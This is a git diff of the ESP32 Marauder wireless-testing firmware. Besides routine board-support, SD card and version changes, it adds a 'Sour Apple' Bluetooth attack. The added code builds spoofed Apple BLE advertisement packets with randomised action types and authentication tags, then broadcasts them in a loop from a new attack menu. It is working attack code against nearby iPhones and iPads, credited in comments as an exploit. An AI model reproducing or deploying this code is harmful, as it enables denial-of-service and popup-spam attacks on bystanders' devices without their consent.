bluetoothSnifferMenu.parentMenu = &bluetoothMenu; // Second Menu is third menu parent
|
||||||
@@ -1402,6 +1409,17 @@ void MenuFunctions::RunSetup()
|
|||||||
wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
|
wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// Bluetooth Attack menu
|
||||||
|
bluetoothAttackMenu.parentMenu = &bluetoothMenu; // Second Menu is third menu parent
|
||||||
|
this->addNodes(&bluetoothAttackMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
|
||||||
|
this->changeMenu(bluetoothAttackMenu.parentMenu);
|
||||||
|
});
|
||||||
|
this->addNodes(&bluetoothAttackMenu, "Sour Apple", TFT_GREEN, NULL, DEAUTH_SNIFF, [this]() {
|
||||||
|
display_obj.clearScreen();
|
||||||
|
this->drawStatusBar();
|
||||||
|
wifi_scan_obj.StartScan(BT_ATTACK_SOUR_APPLE, TFT_GREEN);
|
||||||
|
});
|
||||||
|
|
||||||
// Device menu
|
// Device menu
|
||||||
deviceMenu.parentMenu = &mainMenu;
|
deviceMenu.parentMenu = &mainMenu;
|
||||||
this->addNodes(&deviceMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
|
this->addNodes(&deviceMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
|
||||||
|
|||||||
@@ -144,6 +144,7 @@ class MenuFunctions
|
|||||||
|
|
||||||
// Bluetooth menu stuff
|
// Bluetooth menu stuff
|
||||||
Menu bluetoothSnifferMenu;
|
Menu bluetoothSnifferMenu;
|
||||||
|
Menu bluetoothAttackMenu;
|
||||||
|
|
||||||
// Settings things menus
|
// Settings things menus
|
||||||
Menu generateSSIDsMenu;
|
Menu generateSSIDsMenu;
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
#include "SDInterface.h"
|
#include "SDInterface.h"
|
||||||
#include "lang_var.h"
|
#include "lang_var.h"
|
||||||
|
|
||||||
|
|
||||||
bool SDInterface::initSD() {
|
bool SDInterface::initSD() {
|
||||||
#ifdef HAS_SD
|
#ifdef HAS_SD
|
||||||
String display_string = "";
|
String display_string = "";
|
||||||
@@ -20,8 +21,23 @@ bool SDInterface::initSD() {
|
|||||||
pinMode(SD_CS, OUTPUT);
|
pinMode(SD_CS, OUTPUT);
|
||||||
|
|
||||||
delay(10);
|
delay(10);
|
||||||
|
#if defined(MARAUDER_M5STICKC)
|
||||||
|
/* Set up SPI SD Card using external pin header
|
||||||
|
StickCPlus Header - SPI SD Card Reader
|
||||||
|
3v3 - 3v3
|
||||||
|
GND - GND
|
||||||
|
G0 - CLK
|
||||||
|
G36/G25 - MISO
|
||||||
|
G26 - MOSI
|
||||||
|
- CS (jumper to SD Card GND Pin)
|
||||||
|
*/
|
||||||
|
enum { SPI_SCK = 0, SPI_MISO = 36, SPI_MOSI = 26 };
|
||||||
|
SPIClass SPI_EXT;
|
||||||
|
SPI_EXT.begin(SPI_SCK, SPI_MISO, SPI_MOSI, SD_CS);
|
||||||
|
if (!SD.begin(SD_CS, SPI_EXT)) {
|
||||||
|
#else
|
||||||
if (!SD.begin(SD_CS)) {
|
if (!SD.begin(SD_CS)) {
|
||||||
|
#endif
|
||||||
Serial.println(F("Failed to mount SD Card"));
|
Serial.println(F("Failed to mount SD Card"));
|
||||||
this->supported = false;
|
this->supported = false;
|
||||||
return false;
|
return false;
|
||||||
|
|||||||
@@ -18,6 +18,36 @@ extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32
|
|||||||
}
|
}
|
||||||
|
|
||||||
#ifdef HAS_BT
|
#ifdef HAS_BT
|
||||||
|
//ESP32 Sour Apple by RapierXbox
|
||||||
|
//Exploit by ECTO-1A
|
||||||
|
NimBLEAdvertising *pAdvertising;
|
||||||
|
|
||||||
|
NimBLEAdvertisementData getOAdvertisementData() {
|
||||||
|
NimBLEAdvertisementData randomAdvertisementData = NimBLEAdvertisementData();
|
||||||
|
uint8_t packet[17];
|
||||||
|
uint8_t size = 17;
|
||||||
|
uint8_t i = 0;
|
||||||
|
|
||||||
|
packet[i++] = size - 1; // Packet Length
|
||||||
|
packet[i++] = 0xFF; // Packet Type (Manufacturer Specific)
|
||||||
|
packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.)
|
||||||
|
packet[i++] = 0x00; // ...
|
||||||
|
packet[i++] = 0x0F; // Type
|
||||||
|
packet[i++] = 0x05; // Length
|
||||||
|
packet[i++] = 0xC1; // Action Flags
|
||||||
|
const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 };
|
||||||
|
packet[i++] = types[rand() % sizeof(types)]; // Action Type
|
||||||
|
esp_fill_random(&packet[i], 3); // Authentication Tag
|
||||||
|
i += 3;
|
||||||
|
packet[i++] = 0x00; // ???
|
||||||
|
packet[i++] = 0x00; // ???
|
||||||
|
packet[i++] = 0x10; // Type ???
|
||||||
|
esp_fill_random(&packet[i], 3);
|
||||||
|
|
||||||
|
randomAdvertisementData.addData(std::string((char *)packet, 17));
|
||||||
|
return randomAdvertisementData;
|
||||||
|
}
|
||||||
|
|
||||||
class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
|
class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
|
||||||
|
|
||||||
void onResult(BLEAdvertisedDevice *advertisedDevice) {
|
void onResult(BLEAdvertisedDevice *advertisedDevice) {
|
||||||
@@ -412,6 +442,11 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
|
|||||||
RunBluetoothScan(scan_mode, color);
|
RunBluetoothScan(scan_mode, color);
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
else if (scan_mode == BT_ATTACK_SOUR_APPLE) {
|
||||||
|
#ifdef HAS_BT
|
||||||
|
RunSourApple(scan_mode, color);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
else if ((scan_mode == BT_SCAN_WAR_DRIVE) ||
|
else if ((scan_mode == BT_SCAN_WAR_DRIVE) ||
|
||||||
(scan_mode == BT_SCAN_WAR_DRIVE_CONT)) {
|
(scan_mode == BT_SCAN_WAR_DRIVE_CONT)) {
|
||||||
#ifdef HAS_BT
|
#ifdef HAS_BT
|
||||||
@@ -515,10 +550,11 @@ bool WiFiScan::shutdownWiFi() {
|
|||||||
bool WiFiScan::shutdownBLE() {
|
bool WiFiScan::shutdownBLE() {
|
||||||
#ifdef HAS_BT
|
#ifdef HAS_BT
|
||||||
if (this->ble_initialized) {
|
if (this->ble_initialized) {
|
||||||
|
pAdvertising->stop();
|
||||||
pBLEScan->stop();
|
pBLEScan->stop();
|
||||||
|
|
||||||
pBLEScan->clearResults();
|
pBLEScan->clearResults();
|
||||||
BLEDevice::deinit();
|
NimBLEDevice::deinit();
|
||||||
|
|
||||||
#ifdef MARAUDER_FLIPPER
|
#ifdef MARAUDER_FLIPPER
|
||||||
flipper_led.offLED();
|
flipper_led.offLED();
|
||||||
@@ -574,6 +610,7 @@ void WiFiScan::StopScan(uint8_t scan_mode)
|
|||||||
|
|
||||||
|
|
||||||
else if ((currentScanMode == BT_SCAN_ALL) ||
|
else if ((currentScanMode == BT_SCAN_ALL) ||
|
||||||
|
(currentScanMode == BT_ATTACK_SOUR_APPLE) ||
|
||||||
(currentScanMode == BT_SCAN_WAR_DRIVE) ||
|
(currentScanMode == BT_SCAN_WAR_DRIVE) ||
|
||||||
(currentScanMode == BT_SCAN_WAR_DRIVE_CONT) ||
|
(currentScanMode == BT_SCAN_WAR_DRIVE_CONT) ||
|
||||||
(currentScanMode == BT_SCAN_SKIMMERS))
|
(currentScanMode == BT_SCAN_SKIMMERS))
|
||||||
@@ -1359,6 +1396,17 @@ void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
|
|||||||
initTime = millis();
|
initTime = millis();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void WiFiScan::executeSourApple() {
|
||||||
|
#ifdef HAS_BT
|
||||||
|
delay(40);
|
||||||
|
NimBLEAdvertisementData advertisementData = getOAdvertisementData();
|
||||||
|
pAdvertising->setAdvertisementData(advertisementData);
|
||||||
|
pAdvertising->start();
|
||||||
|
delay(20);
|
||||||
|
pAdvertising->stop();
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
void WiFiScan::executeWarDrive() {
|
void WiFiScan::executeWarDrive() {
|
||||||
#ifdef HAS_GPS
|
#ifdef HAS_GPS
|
||||||
if (gps_obj.getGpsModuleStatus()) {
|
if (gps_obj.getGpsModuleStatus()) {
|
||||||
@@ -1708,6 +1756,31 @@ void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
|
|||||||
initTime = millis();
|
initTime = millis();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void WiFiScan::RunSourApple(uint8_t scan_mode, uint16_t color) {
|
||||||
|
#ifdef HAS_BT
|
||||||
|
NimBLEDevice::init("");
|
||||||
|
NimBLEServer *pServer = NimBLEDevice::createServer();
|
||||||
|
|
||||||
|
pAdvertising = pServer->getAdvertising();
|
||||||
|
|
||||||
|
#ifdef HAS_SCREEN
|
||||||
|
display_obj.TOP_FIXED_AREA_2 = 48;
|
||||||
|
display_obj.tteBar = true;
|
||||||
|
display_obj.print_delay_1 = 15;
|
||||||
|
display_obj.print_delay_2 = 10;
|
||||||
|
display_obj.initScrollValues(true);
|
||||||
|
display_obj.tft.setTextWrap(false);
|
||||||
|
display_obj.tft.setTextColor(TFT_BLACK, color);
|
||||||
|
display_obj.tft.fillRect(0,16,240,16, color);
|
||||||
|
display_obj.tft.drawCentreString("Sour Apple",120,16,2);
|
||||||
|
display_obj.touchToExit();
|
||||||
|
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
this->ble_initialized;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
// Function to start running any BLE scan
|
// Function to start running any BLE scan
|
||||||
void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
|
void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
|
||||||
{
|
{
|
||||||
@@ -4033,6 +4106,25 @@ void WiFiScan::main(uint32_t currentTime)
|
|||||||
channelHop();
|
channelHop();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
else if (currentScanMode == BT_ATTACK_SOUR_APPLE) {
|
||||||
|
#ifdef HAS_BT
|
||||||
|
if (currentTime - initTime >= 1000) {
|
||||||
|
initTime = millis();
|
||||||
|
String displayString = "";
|
||||||
|
String displayString2 = "";
|
||||||
|
displayString.concat("Advertising Data...");
|
||||||
|
for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
|
||||||
|
displayString2.concat(" ");
|
||||||
|
#ifdef HAS_SCREEN
|
||||||
|
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
|
||||||
|
display_obj.showCenterText(displayString2, 160);
|
||||||
|
display_obj.showCenterText(displayString, 160);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
this->executeSourApple();
|
||||||
|
#endif
|
||||||
|
}
|
||||||
else if (currentScanMode == WIFI_SCAN_WAR_DRIVE) {
|
else if (currentScanMode == WIFI_SCAN_WAR_DRIVE) {
|
||||||
if (currentTime - initTime >= this->channel_hop_delay * 1000)
|
if (currentTime - initTime >= this->channel_hop_delay * 1000)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -81,6 +81,7 @@
|
|||||||
#define WIFI_SCAN_STATION_WAR_DRIVE 33
|
#define WIFI_SCAN_STATION_WAR_DRIVE 33
|
||||||
#define BT_SCAN_WAR_DRIVE 34
|
#define BT_SCAN_WAR_DRIVE 34
|
||||||
#define BT_SCAN_WAR_DRIVE_CONT 35
|
#define BT_SCAN_WAR_DRIVE_CONT 35
|
||||||
|
#define BT_ATTACK_SOUR_APPLE 36
|
||||||
|
|
||||||
#define GRAPH_REFRESH 100
|
#define GRAPH_REFRESH 100
|
||||||
|
|
||||||
@@ -249,6 +250,7 @@ class WiFiScan
|
|||||||
void save_mac(unsigned char* mac);
|
void save_mac(unsigned char* mac);
|
||||||
void clearMacHistory();
|
void clearMacHistory();
|
||||||
void executeWarDrive();
|
void executeWarDrive();
|
||||||
|
void executeSourApple();
|
||||||
void startWardriverWiFi();
|
void startWardriverWiFi();
|
||||||
|
|
||||||
void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
|
void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
|
||||||
@@ -281,6 +283,7 @@ class WiFiScan
|
|||||||
void RunProbeScan(uint8_t scan_mode, uint16_t color);
|
void RunProbeScan(uint8_t scan_mode, uint16_t color);
|
||||||
void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
|
void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
|
||||||
void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
|
void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
|
||||||
|
void RunSourApple(uint8_t scan_mode, uint16_t color);
|
||||||
void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
|
void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
|
||||||
void RunEvilPortal(uint8_t scan_mode, uint16_t color);
|
void RunEvilPortal(uint8_t scan_mode, uint16_t color);
|
||||||
bool checkMem();
|
bool checkMem();
|
||||||
|
|||||||
BIN
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.bin
Normal file
BIN
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.bin
Normal file
Binary file not shown.
Binary file not shown.
BIN
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.elf
Normal file
BIN
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.elf
Normal file
Binary file not shown.
120502
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.map
Normal file
120502
esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.map
Normal file
File diff suppressed because one or more lines are too long
Binary file not shown.
@@ -13,6 +13,7 @@
|
|||||||
//#define MARAUDER_MINI
|
//#define MARAUDER_MINI
|
||||||
//#define MARAUDER_V4
|
//#define MARAUDER_V4
|
||||||
//#define MARAUDER_V6
|
//#define MARAUDER_V6
|
||||||
|
//#define MARAUDER_V6_1
|
||||||
//#define MARAUDER_KIT
|
//#define MARAUDER_KIT
|
||||||
//#define GENERIC_ESP32
|
//#define GENERIC_ESP32
|
||||||
#define MARAUDER_FLIPPER
|
#define MARAUDER_FLIPPER
|
||||||
@@ -21,7 +22,7 @@
|
|||||||
//#define XIAO_ESP32_S3
|
//#define XIAO_ESP32_S3
|
||||||
//// END BOARD TARGETS
|
//// END BOARD TARGETS
|
||||||
|
|
||||||
#define MARAUDER_VERSION "v0.12.1"
|
#define MARAUDER_VERSION "v0.13.1"
|
||||||
|
|
||||||
//// BOARD FEATURES
|
//// BOARD FEATURES
|
||||||
#ifdef MARAUDER_M5STICKC
|
#ifdef MARAUDER_M5STICKC
|
||||||
@@ -65,7 +66,7 @@
|
|||||||
#define HAS_GPS
|
#define HAS_GPS
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#ifdef MARAUDER_V6
|
#if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
|
||||||
//#define FLIPPER_ZERO_HAT
|
//#define FLIPPER_ZERO_HAT
|
||||||
#define HAS_BATTERY
|
#define HAS_BATTERY
|
||||||
#define HAS_BT
|
#define HAS_BT
|
||||||
@@ -334,7 +335,7 @@
|
|||||||
#define KIT_LED_BUILTIN 13
|
#define KIT_LED_BUILTIN 13
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#ifdef MARAUDER_V6
|
#if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
|
||||||
#define SCREEN_CHAR_WIDTH 40
|
#define SCREEN_CHAR_WIDTH 40
|
||||||
#define HAS_ILI9341
|
#define HAS_ILI9341
|
||||||
|
|
||||||
@@ -538,7 +539,7 @@
|
|||||||
//#define BUTTON_ARRAY_LEN 5
|
//#define BUTTON_ARRAY_LEN 5
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#ifdef MARAUDER_V6
|
#if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
|
||||||
#define BANNER_TIME 100
|
#define BANNER_TIME 100
|
||||||
|
|
||||||
#define COMMAND_PREFIX "!"
|
#define COMMAND_PREFIX "!"
|
||||||
@@ -630,6 +631,10 @@
|
|||||||
#define SD_CS 12
|
#define SD_CS 12
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
#ifdef MARAUDER_V6_1
|
||||||
|
#define SD_CS 14
|
||||||
|
#endif
|
||||||
|
|
||||||
#ifdef MARAUDER_KIT
|
#ifdef MARAUDER_KIT
|
||||||
#define SD_CS 12
|
#define SD_CS 12
|
||||||
#endif
|
#endif
|
||||||
@@ -639,7 +644,7 @@
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
#ifdef MARAUDER_M5STICKC
|
#ifdef MARAUDER_M5STICKC
|
||||||
#define SD_CS 10
|
#define SD_CS -1
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#ifdef MARAUDER_FLIPPER
|
#ifdef MARAUDER_FLIPPER
|
||||||
@@ -695,7 +700,7 @@
|
|||||||
#define MEM_LOWER_LIM 20000
|
#define MEM_LOWER_LIM 20000
|
||||||
#elif defined(MARAUDER_V4)
|
#elif defined(MARAUDER_V4)
|
||||||
#define MEM_LOWER_LIM 20000
|
#define MEM_LOWER_LIM 20000
|
||||||
#elif defined(MARAUDER_V6)
|
#elif defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
|
||||||
#define MEM_LOWER_LIM 20000
|
#define MEM_LOWER_LIM 20000
|
||||||
#elif defined(MARAUDER_KIT)
|
#elif defined(MARAUDER_KIT)
|
||||||
#define MEM_LOWER_LIM 20000
|
#define MEM_LOWER_LIM 20000
|
||||||
@@ -742,7 +747,7 @@
|
|||||||
#define MAX_HTML_SIZE 11400
|
#define MAX_HTML_SIZE 11400
|
||||||
#elif defined(MARAUDER_V4)
|
#elif defined(MARAUDER_V4)
|
||||||
#define MAX_HTML_SIZE 11400
|
#define MAX_HTML_SIZE 11400
|
||||||
#elif defined(MARAUDER_V6)
|
#elif defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
|
||||||
#define MAX_HTML_SIZE 11400
|
#define MAX_HTML_SIZE 11400
|
||||||
#elif defined(MARAUDER_KIT)
|
#elif defined(MARAUDER_KIT)
|
||||||
#define MAX_HTML_SIZE 11400
|
#define MAX_HTML_SIZE 11400
|
||||||
@@ -763,7 +768,7 @@
|
|||||||
|
|
||||||
//// GPS STUFF
|
//// GPS STUFF
|
||||||
#ifdef HAS_GPS
|
#ifdef HAS_GPS
|
||||||
#ifdef MARAUDER_V6
|
#if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
|
||||||
#define GPS_SERIAL_INDEX 2
|
#define GPS_SERIAL_INDEX 2
|
||||||
#define GPS_TX 4
|
#define GPS_TX 4
|
||||||
#define GPS_RX 13
|
#define GPS_RX 13
|
||||||
@@ -789,7 +794,11 @@
|
|||||||
#define GPS_RX 22
|
#define GPS_RX 22
|
||||||
#define mac_history_len 512
|
#define mac_history_len 512
|
||||||
#elif defined(MARAUDER_FLIPPER)
|
#elif defined(MARAUDER_FLIPPER)
|
||||||
|
#ifdef WRITE_PACKETS_SERIAL
|
||||||
|
#define GPS_SOFTWARE_SERIAL
|
||||||
|
#else
|
||||||
#define GPS_SERIAL_INDEX 1
|
#define GPS_SERIAL_INDEX 1
|
||||||
|
#endif
|
||||||
#define GPS_TX 9
|
#define GPS_TX 9
|
||||||
#define GPS_RX 21
|
#define GPS_RX 21
|
||||||
#define mac_history_len 512
|
#define mac_history_len 512
|
||||||
@@ -802,7 +811,7 @@
|
|||||||
//// MARAUDER TITLE STUFF
|
//// MARAUDER TITLE STUFF
|
||||||
#ifdef MARAUDER_V4
|
#ifdef MARAUDER_V4
|
||||||
#define MARAUDER_TITLE_BYTES 13578
|
#define MARAUDER_TITLE_BYTES 13578
|
||||||
#elif defined(MARAUDER_V6)
|
#elif defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
|
||||||
#define MARAUDER_TITLE_BYTES 13578
|
#define MARAUDER_TITLE_BYTES 13578
|
||||||
#elif defined(MARAUDER_KIT)
|
#elif defined(MARAUDER_KIT)
|
||||||
#define MARAUDER_TITLE_BYTES 13578
|
#define MARAUDER_TITLE_BYTES 13578
|
||||||
|
|||||||
Reference in New Issue
Block a user